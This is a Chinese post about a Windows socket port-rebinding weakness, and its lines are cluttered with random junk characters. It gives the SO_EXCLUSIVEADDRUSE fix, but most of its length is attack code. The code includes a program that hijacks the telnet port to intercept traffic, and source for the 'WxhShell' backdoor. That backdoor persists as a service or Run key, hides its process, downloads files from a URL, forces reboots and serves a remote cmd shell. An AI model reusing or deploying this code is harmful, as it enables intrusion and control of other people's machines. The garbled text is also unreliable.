在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2*q:
^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
K&IrTA
j} jw(>@SXz saddr.sin_family = AF_INET;
26#Jhb E+ /.kna4k saddr.sin_addr.s_addr = htonl(INADDR_ANY);
QJIItx4hE y(3c{y@~X bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ma=6kX] }vUlTH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M?~<w)L} `KJYm|@ i 这意味着什么?意味着可以进行如下的攻击:
{[t"O u =Q8H]F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8Z4?X% P-OPv%jyi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
S|q!? /jqj U|Z>SE<k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[bi3%yWh vMZ7uO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L_lDFF <[y$D=n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$]H= hLytKPgt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:ONuWNY
N lO2T/1iMTW 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[71#@^ye ]oas #include
X=p3KzzX #include
&J^4Y!gt #include
^/ DII`A #include
{NY~JFM DWORD WINAPI ClientThread(LPVOID lpParam);
yXTK(<' int main()
-q&7J'
N {
"0H56#eW WORD wVersionRequested;
oWx_O-_._ DWORD ret;
;]&~D
+XH WSADATA wsaData;
bQdSX8: !R BOOL val;
5Q$r@&qp SOCKADDR_IN saddr;
KM6N'x ^z SOCKADDR_IN scaddr;
Y1fy2\<' int err;
@k+%y'Y? SOCKET s;
q
M_/ SOCKET sc;
ne"?90~ int caddsize;
oGJ*Rn)Z HANDLE mt;
W%>i$:Qq
DWORD tid;
,5\2C{ wVersionRequested = MAKEWORD( 2, 2 );
eg2U+g4 err = WSAStartup( wVersionRequested, &wsaData );
+=6RmId+X if ( err != 0 ) {
{C/L5cZ]J printf("error!WSAStartup failed!\n");
wTlK4R# return -1;
;J(rw
}
$h 08Z saddr.sin_family = AF_INET;
!]rETP_ pFsCd"zv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]|,q|c , 5PGlR!^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Q&Z4r9+Z saddr.sin_port = htons(23);
b.R!2]T]i^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SLdN.4idK {
Hbjb7Y?[ printf("error!socket failed!\n");
vnC<*k4&v return -1;
RG l=7^M }
qY$*#*Q val = TRUE;
?E+:]j_ //SO_REUSEADDR选项就是可以实现端口重绑定的
M[YTk=IM# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-t@y\vZF, {
b W=.K>| printf("error!setsockopt failed!\n");
3!.H^v?
return -1;
't|Un G }
.~. ``a //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pHen>BA[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}XX~
W}M(\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4d^
\l! Nm6Z|0S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
VqK%^ {
8_a$kJJ2 ret=GetLastError();
AV:Xg4UJv printf("error!bind failed!\n");
%@}o'=[ return -1;
GOy=p3mQ }
t."g\; listen(s,2);
#`jE%ONC while(1)
9Fy\t{ks {
""1#bs{n caddsize = sizeof(scaddr);
}+91s'/c //接受连接请求
>=-GD2WK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
h4CTTe) if(sc!=INVALID_SOCKET)
=tr1*s{ {
RzA2*]%a mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E`Jp(gK9F if(mt==NULL)
&W=V%t>Z {
<w0NPrS] printf("Thread Creat Failed!\n");
-{X<*P4p break;
ixIV=# }
0jxO |N2) }
lx\qp`w CloseHandle(mt);
0U82f1ei }
cGgM8 closesocket(s);
}>MP{67Dm WSACleanup();
)uQ-YC('0 return 0;
(^sh }
L`9TB"0R+ DWORD WINAPI ClientThread(LPVOID lpParam)
UL86-R! {
|@ikx{W SOCKET ss = (SOCKET)lpParam;
J\het2?\ SOCKET sc;
$[Tt#CJw unsigned char buf[4096];
zRwb" SOCKADDR_IN saddr;
`]*%:NZP@ long num;
t)-*.qZh DWORD val;
H>60D|v[ DWORD ret;
{S[I_\3 //如果是隐藏端口应用的话,可以在此处加一些判断
ry.;u*F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+>JdYV<?0 saddr.sin_family = AF_INET;
9$Ig~W) saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0:Ar|to$m saddr.sin_port = htons(23);
;% 2wGT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ho3dsh) {
duX0Mc.0P printf("error!socket failed!\n");
M]}l^m>L return -1;
2Y400 }
>(hSW~i~ val = 100;
N>+ P WE$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S8
:"<B) {
&J8Z@^ ret = GetLastError();
hf;S]8|F return -1;
Q*]$)D3n }
QL2Nz@|k if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)|v^9 {
IUOxGJ|rO ret = GetLastError();
L2KG0i`+ return -1;
-x{dc7y2 }
!7}IqSs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/-h6`@[ {
z5x _fAT( printf("error!socket connect failed!\n");
>A-<ZS*N closesocket(sc);
b9!.-^<8y closesocket(ss);
<3d;1o return -1;
Mr-DGLJ }
Rv=DI&K%n while(1)
BR+nL6sU {
i=YXKe6fD //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Bd{4Ae\_+g //如果是嗅探内容的话,可以再此处进行内容分析和记录
]1m"V;vZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
).LTts7c num = recv(ss,buf,4096,0);
fX_#S|DlSG if(num>0)
!)N|J$FU send(sc,buf,num,0);
dd]?9 else if(num==0)
{jjSJIV1 break;
>*I N num = recv(sc,buf,4096,0);
rah,dVE] if(num>0)
}.p<wCPy6 send(ss,buf,num,0);
+ :V rip else if(num==0)
/D<"wF }@J break;
_5mc(' }
f\fdg].! closesocket(ss);
|'tW= closesocket(sc);
@5WgqB return 0 ;
r!7 Y'| }
3{KR
{B#L ['z!{Ez n|Pr/ddL ==========================================================
?>af'o: &-M]xo^ 下边附上一个代码,,WXhSHELL
f|U0s p~K9
B-D ==========================================================
6R`Oh uN.> Zmf'{t T5 #include "stdafx.h"
$$hv`HE^l Ur^j$B} #include <stdio.h>
@9Q2$ #include <string.h>
'B_\TU0
O #include <windows.h>
p,F^0OU2}: #include <winsock2.h>
9IA$z\<<w #include <winsvc.h>
%a]; #include <urlmon.h>
5!Bktgk. ZU^IH9 #pragma comment (lib, "Ws2_32.lib")
2edBQYWd #pragma comment (lib, "urlmon.lib")
M`vyTuO3SO d t_e #define MAX_USER 100 // 最大客户端连接数
r[s!F=^
#define BUF_SOCK 200 // sock buffer
XF}rd.K: #define KEY_BUFF 255 // 输入 buffer
K^zDNIQU t|V0x3X #define REBOOT 0 // 重启
(DDyK[t+VX #define SHUTDOWN 1 // 关机
*XbI#L%> w(j^ccPD #define DEF_PORT 5000 // 监听端口
,`32!i GMW,*if8p #define REG_LEN 16 // 注册表键长度
N
L'R\R #define SVC_LEN 80 // NT服务名长度
HRB[GP+ o%[U // 从dll定义API
Q$ri=uB;+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
y,=du typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&3Z?UhH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<*|?x86~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]"F5;p;y /qU>5; // wxhshell配置信息
1zftrX~v!X struct WSCFG {
~9=aT1S| int ws_port; // 监听端口
w8iR|TV char ws_passstr[REG_LEN]; // 口令
@*MC/fe int ws_autoins; // 安装标记, 1=yes 0=no
FB:<zmwR char ws_regname[REG_LEN]; // 注册表键名
%+-C3\' char ws_svcname[REG_LEN]; // 服务名
{f/ ]5x(_ char ws_svcdisp[SVC_LEN]; // 服务显示名
Jq
]:<TQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
5Y\!pf7SQ| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
f[sF:f(zI int ws_downexe; // 下载执行标记, 1=yes 0=no
>^$2f&z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LO:fJ{ - char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\*0yaSQF 'Z&;uv,l };
e-5?p~> nmFC%p)4 // default Wxhshell configuration
npp[@*~ struct WSCFG wscfg={DEF_PORT,
9bJQT'<R "xuhuanlingzhe",
(\a6H2z8l 1,
tNIlzR- "Wxhshell",
s%pfkoOY% "Wxhshell",
] asBd" "WxhShell Service",
dQb.BOI)h "Wrsky Windows CmdShell Service",
N]N4^A' "Please Input Your Password: ",
Nt:9 MG>1 1,
LfLFu9#:w "
http://www.wrsky.com/wxhshell.exe",
;heHefbvvd "Wxhshell.exe"
x;\wY' };
28andfl gNpJ24QK // 消息定义模块
;WU<CKYG* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>dzsQ^Nj char *msg_ws_prompt="\n\r? for help\n\r#>";
E7zm{BX] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Bi3+)k>u7 char *msg_ws_ext="\n\rExit.";
Pw0Ci char *msg_ws_end="\n\rQuit.";
?=;qK{)37 char *msg_ws_boot="\n\rReboot...";
^Q+i=y{W char *msg_ws_poff="\n\rShutdown...";
i/So6jW char *msg_ws_down="\n\rSave to ";
]@^coj[ Xz 4 x char *msg_ws_err="\n\rErr!";
lb*8G char *msg_ws_ok="\n\rOK!";
ww k
P F _-~`03 `! char ExeFile[MAX_PATH];
Zm
ogM7B int nUser = 0;
BV`- =wRC HANDLE handles[MAX_USER];
a4i:| int OsIsNt;
5S{7En~zUE X"fh@. SERVICE_STATUS serviceStatus;
[&?8,Q( SERVICE_STATUS_HANDLE hServiceStatusHandle;
w$Ot{i|$( ,)!u)wz // 函数声明
(Y%Q|u int Install(void);
j2l55@ int Uninstall(void);
<M]h{BS= int DownloadFile(char *sURL, SOCKET wsh);
RW$:9~ int Boot(int flag);
e`>{$t void HideProc(void);
z*$q8Z&7rg int GetOsVer(void);
,m<H-gwa int Wxhshell(SOCKET wsl);
dq1:s1 void TalkWithClient(void *cs);
#-% A[7Cdp int CmdShell(SOCKET sock);
>wHxmq8F5< int StartFromService(void);
(b,[C\RBF int StartWxhshell(LPSTR lpCmdLine);
W5L iXM $_H` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
41a.#o VOID WINAPI NTServiceHandler( DWORD fdwControl );
CSPKP#,B0[ F}GPZ=T; // 数据结构和表定义
sbj(|1,ac SERVICE_TABLE_ENTRY DispatchTable[] =
2F#q
I1 {
bI.t<; {wscfg.ws_svcname, NTServiceMain},
^D`v3d {NULL, NULL}
W1B)]IHc };
9[c%J*r 8X|r4otn4 // 自我安装
vIl+#9L0 int Install(void)
so$(_W3E, {
S& #U!#@ char svExeFile[MAX_PATH];
((tv2 HKEY key;
z7M_1%DEx strcpy(svExeFile,ExeFile);
7pA/ I\~G|B // 如果是win9x系统,修改注册表设为自启动
E{^ XlY if(!OsIsNt) {
cRd0S*QN2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5 <wnva RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mI*[>#q> RegCloseKey(key);
oh"O07 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
65h @}9,U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{U<xdG RegCloseKey(key);
`U#55k9^5 return 0;
Z+j\a5d?, }
r;L>.wl*I }
4wd&55=2 }
2&c9q5.b else {
ZOXIT(mg /&F,V+x // 如果是NT以上系统,安装为系统服务
W>VP'vn} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:1XtvH if (schSCManager!=0)
:l7U>~ o {
~c)~015` SC_HANDLE schService = CreateService
^<e@uNGg (
mC?i}+4>4R schSCManager,
K{b(J
Nd wscfg.ws_svcname,
&[NG]V!Oc wscfg.ws_svcdisp,
8t@p@Td| SERVICE_ALL_ACCESS,
"H-" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\<}&&SuH SERVICE_AUTO_START,
f7h*Vu`> SERVICE_ERROR_NORMAL,
/!^&;$A' svExeFile,
Hqnxq NULL,
c|F[.;cR NULL,
XNQAi (!GS NULL,
[V'QrcCF NULL,
^Q*atU NULL
OO?]qZa1 );
>#Q\DsDS if (schService!=0)
`(A5f71MfM {
lrfv+ CloseServiceHandle(schService);
X#3et' CloseServiceHandle(schSCManager);
uVzFsgBp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>5s6u`\ strcat(svExeFile,wscfg.ws_svcname);
OpM(j& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I;Vu W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,rJXy_ RegCloseKey(key);
!T](Udf return 0;
J!'@ Bd }
yV_4?nh }
AU-n&uX CloseServiceHandle(schSCManager);
"qc6=:y} }
.9md~j:o^s }
yQ#:J9HMJ ={LMdC~5X return 1;
#Z6'?p9 }
L?5Ck<!xG hx/N1x // 自我卸载
"4vy lHIo int Uninstall(void)
Dfq(Iv {
Hwo$tVa:= HKEY key;
Y"OG@1V;8 GA7}K:LP'k if(!OsIsNt) {
Y0D}g3` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
aK`@6F,]j RegDeleteValue(key,wscfg.ws_regname);
atXS-bg* RegCloseKey(key);
Qs9gTBS; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hstbz RegDeleteValue(key,wscfg.ws_regname);
~T) Q$ RegCloseKey(key);
u,}{I}x_ return 0;
~ek$C }
z<B8mB }
`--TP }
LM&y@"wfm else {
~z" =G5| @6l%,N<fou SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
D#&q&6P{ if (schSCManager!=0)
nLV9<M
Zm {
y*D]Q`5cag SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Oft4-4$E if (schService!=0)
sP^R/z|Y {
[s&$l G! if(DeleteService(schService)!=0) {
V+I|1{@i0 CloseServiceHandle(schService);
t|~YEQ CloseServiceHandle(schSCManager);
o.q/O)'V u return 0;
QtvY v! }
[HCAmnb CloseServiceHandle(schService);
detwa}h[0 }
f4L`.~b'hb CloseServiceHandle(schSCManager);
TEDAb> }
rj6#1kt }
O(+phRwJ } :Z#}8 return 1;
H,N)4;F<c }
=m5SK5vLKT gn3jy^5 // 从指定url下载文件
Nbp!teH6 int DownloadFile(char *sURL, SOCKET wsh)
7O,U?p {
0_CN/5F HRESULT hr;
Q>n|^y6 char seps[]= "/";
MNSbtT*^ char *token;
|=&cQRY!p char *file;
%;.;>Y(- char myURL[MAX_PATH];
?JL:CBvCp char myFILE[MAX_PATH];
C-iK$/U /="~gq@ strcpy(myURL,sURL);
{dmj/6Lc token=strtok(myURL,seps);
uL[.ND2._& while(token!=NULL)
ei
rzYt {
4C FB"?n0 file=token;
Q'%PNrN token=strtok(NULL,seps);
W3iZ|[E; }
o1<_fI hGiz)v~ GetCurrentDirectory(MAX_PATH,myFILE);
b, :QT~g= strcat(myFILE, "\\");
`F/Tv 5@L strcat(myFILE, file);
yz0zFfiX send(wsh,myFILE,strlen(myFILE),0);
A<W6=5h send(wsh,"...",3,0);
Offu9`DiZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Me=CSQqf< if(hr==S_OK)
Br`IW return 0;
tO0!5#-VR else
[H=) return 1;
4q<=K= F F$[ U|%* }
o`Ta("9^ rD*sl} // 系统电源模块
y
K"kEA[; int Boot(int flag)
%Qj;, #z {
%Q.&ZhB HANDLE hToken;
ZcaX'5}!S TOKEN_PRIVILEGES tkp;
4fe7U=# ;Y Fy.\7CL> if(OsIsNt) {
9~ l
hsH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_U/!4A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6C-z=s)P& tkp.PrivilegeCount = 1;
Ox@sI:CT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1bH;!J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-=(!g&0 if(flag==REBOOT) {
Dq)j:f#QM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z`\F@pX%wC return 0;
|m2X+s9 }
DG?"5:Zd else {
Ps 8%J; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
CP6LHkM9 return 0;
Qci4J }
i F+vl] }
FXs*vg` else {
4n4?4BEn if(flag==REBOOT) {
hiUD]5Kp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0@EwM return 0;
;s52{>&F] }
<A#
l
35 else {
G>q(iF' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Ud!4"<C_ return 0;
7[.6axL }
`P9XqWr }
8KRba4[ f/V
2f]. return 1;
7P9=)$(EH }
1Uqu>' ,dx3zBI // win9x进程隐藏模块
v.]Q$q^ void HideProc(void)
l\s U {
3JVK 4 M(-xl? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,13Lq- if ( hKernel != NULL )
;f"0~D2 {
Yboiwy,n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PP!SK2u"L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X_7UJ
jFw" FreeLibrary(hKernel);
3}/&w\$ }
D#o}cC. 2/0v B> return;
n-%s8aaVf }
~t~-A,1 ?|39u{ // 获取操作系统版本
+gLPhX:` int GetOsVer(void)
}6@pJG {
Rb{U+/gq OSVERSIONINFO winfo;
M`l.t -ut winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
V#`fs|e;y GetVersionEx(&winfo);
WASU0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(e[}/hf6 return 1;
~SnSEhE else
,j$Vvz return 0;
!Uq^7Mw }
uxzze~_+C V7Mh-] // 客户端句柄模块
1+U int Wxhshell(SOCKET wsl)
YxP@!U9dE, {
kJ Mf SOCKET wsh;
Yk5}`d!: struct sockaddr_in client;
EMfdBY5 DWORD myID;
ANps1w#TP .3MIcj=p while(nUser<MAX_USER)
4'LB7}WG {
`^4vT3e int nSize=sizeof(client);
yn/rW$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
th&[Nt7 if(wsh==INVALID_SOCKET) return 1;
cwL1/DGDB j<)9dEM' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y14W?|KOB if(handles[nUser]==0)
6%VV,$p closesocket(wsh);
4`8< else
npNB{J[ nUser++;
Ed
,D8ND }
J|w)&bV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(1NA oun;rMq return 0;
F<(i.o( }
;j)FnY=: - +fnK/%b // 关闭 socket
C(K; zo*S( void CloseIt(SOCKET wsh)
8 P>#l. # {
%3$*K\Ai closesocket(wsh);
{pHM},WJ nUser--;
Jzp#bgq}| ExitThread(0);
bpxeznz }
NZ3/5%We/ gB4U*D0[e~ // 客户端请求句柄
E]6z8juO6 void TalkWithClient(void *cs)
-k7X:!>QHC {
?K3(D;5
&i >(snII SOCKET wsh=(SOCKET)cs;
<~)kwq' char pwd[SVC_LEN];
51QRM32Y
char cmd[KEY_BUFF];
@ G4X char chr[1];
gy;+_'.j int i,j;
Q8_ d)t| ]7Z{ 8)T while (nUser < MAX_USER) {
=dx1/4bZl| p3}?fej&| if(wscfg.ws_passstr) {
K_ci_g": if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1NcCy!+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YQS5P# //ZeroMemory(pwd,KEY_BUFF);
41_SRh7N i=0;
LB.co4 while(i<SVC_LEN) {
O%ug@& S{ 2r6'O6v // 设置超时
TET`b7G fd_set FdRead;
E!O\87[ struct timeval TimeOut;
<Tot|R; FD_ZERO(&FdRead);
]K*8O< FD_SET(wsh,&FdRead);
A Z{^o4<q TimeOut.tv_sec=8;
,p9i% i TimeOut.tv_usec=0;
E[^ {w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M1%Dg'}G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_A0mxq J=dJsk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/QEiMrz@6 pwd
=chr[0]; 1*
]Ev
if(chr[0]==0xd || chr[0]==0xa) { oQL59XOT4
pwd=0; 8+Td-\IMk
break; {vE(l'
} @+WQ ^
i++; ehA;i.n
} 42 \-~]
Nlj^Dm
// 如果是非法用户,关闭 socket qSejLh6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /N-_FMl?
} ,Hgc-7g@Y
W k}AmC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X.TI>90{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nJbbzQ,e
(S ^8UV
while(1) { Ou>vX[{
)}L??|#
ZeroMemory(cmd,KEY_BUFF); BJS-Jy$-
~j'l.gQb
// 自动支持客户端 telnet标准 <s@-:;9~
j=0; O,.!2wVrN
while(j<KEY_BUFF) { I_q~*/<h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ')N{wSM9Ft
cmd[j]=chr[0]; :h1pBEiH
if(chr[0]==0xa || chr[0]==0xd) { zW8*E E+,
cmd[j]=0; d`
Sr4c
break; +B|7p9qy
} 28OWNS
M=
j++; :5yV.7
} WGAXIQ
!7d*v3)d
// 下载文件 %5*@l vy
if(strstr(cmd,"http://")) { U'*t~x<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5IKL#V`3a
if(DownloadFile(cmd,wsh)) 5#E |R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wJlX4cT4YV
else pN&c(=If
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m~'? /!!
} mw^7oO#
else { qSx(X!YS
IooNb:(
switch(cmd[0]) { =\t /u
Xe+,wW3YF
// 帮助 LC0d/hM
case '?': { |*mL1#bB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xes|[ *Y!V
break; |7@O($ b
} _u}4j 9T
// 安装 Yif*"oO
case 'i': { :h,`8 Di
if(Install()) ^JR;epVJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/ `.(fL1
else j!z-)p8hy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C_LvZ=
break; aJqeD'\>
} !rhk
$L
// 卸载 ggb|Ew
case 'r': { 3CE[(
if(Uninstall()) ueG|*[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ir3VTqz
else (.3'=n|kE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4H2/EC
break; '!1$9o^$
} rx :z#"?I
// 显示 wxhshell 所在路径 bqx0d=Z~[
case 'p': { l?*r5[O>n
char svExeFile[MAX_PATH]; OJ4SbI
strcpy(svExeFile,"\n\r"); Wn|&cG9
strcat(svExeFile,ExeFile); xdy^^3"
send(wsh,svExeFile,strlen(svExeFile),0); smQVWs>
break; _;RVe"tR#
} {I{:GcS
// 重启 s0hBbL0DH
case 'b': { ;o<m}bGaT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tx%VU8\?n
if(Boot(REBOOT)) b @;.F!x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sn{A wF%
else { Zt E##p
closesocket(wsh); vf~`eT
ExitThread(0); u2(eaP8d
} x6'^4y])
break; q1k{
} _w ]4~V9
// 关机 YH:8<O,{-
case 'd': { 'YSuQP>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;,OfJ'q^
if(Boot(SHUTDOWN)) ;\%sEcpT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RD<75]**{
else { "?.~/@
closesocket(wsh); uM(UO,X
ExitThread(0); "zZI S6j
} 3,aN8F1;C
break; %|XE#hw
} Rn+4DcR
// 获取shell 1QJBb \
case 's': { 7k=fZ$+O
CmdShell(wsh); mW`oq
closesocket(wsh); g2p"LWex-
ExitThread(0); T,JA#Rk|1N
break; bb=uF1
} F#+ .>!
// 退出 Ey&aBYR
case 'x': { HT`1E0G8)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oYM,8 K
CloseIt(wsh); >E"9*:.^a
break; u2sR.%2U<
} v
vE\
// 离开 `3iQZui
case 'q': { 1x >iz
`A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); KhM.Tc
closesocket(wsh); :]eb<J
WSACleanup(); Bo\D.a(T
exit(1); 2>hz_o{5',
break; 2RppP?M!
} V{Q kN7-
} NyPd5m:
} {8NwFN.
eXy"^xp^
// 提示信息 XrN- 2HTV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B/eaqJ
} _|,{ ^m|d
} );}t&}
SQ#7PKH
return; +2T!z=
} WtX>Qu|
oO=o|w|T
// shell模块句柄 LP`CS849z2
int CmdShell(SOCKET sock) PJ 9%/Nrh
{ E20 :uZ7\
STARTUPINFO si;
U w Eiz
ZeroMemory(&si,sizeof(si)); U=!@Db5k~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &2.+Igo|G
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XizPM N5a
PROCESS_INFORMATION ProcessInfo; LD55n%|0`H
char cmdline[]="cmd"; FrZ]=:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d(L{!mm
return 0; @"1}16b#f
} d#T?Q_3b
[BXyi
// 自身启动模式 uu}-"/<~7
int StartFromService(void) T{-2fp8r[
{ 3eg5oAZ)G8
typedef struct W^xZ+]
{ Zg $Tf
DWORD ExitStatus; kX8=cL9G
DWORD PebBaseAddress; l_+A5Xy
DWORD AffinityMask; A4_>LO_qL
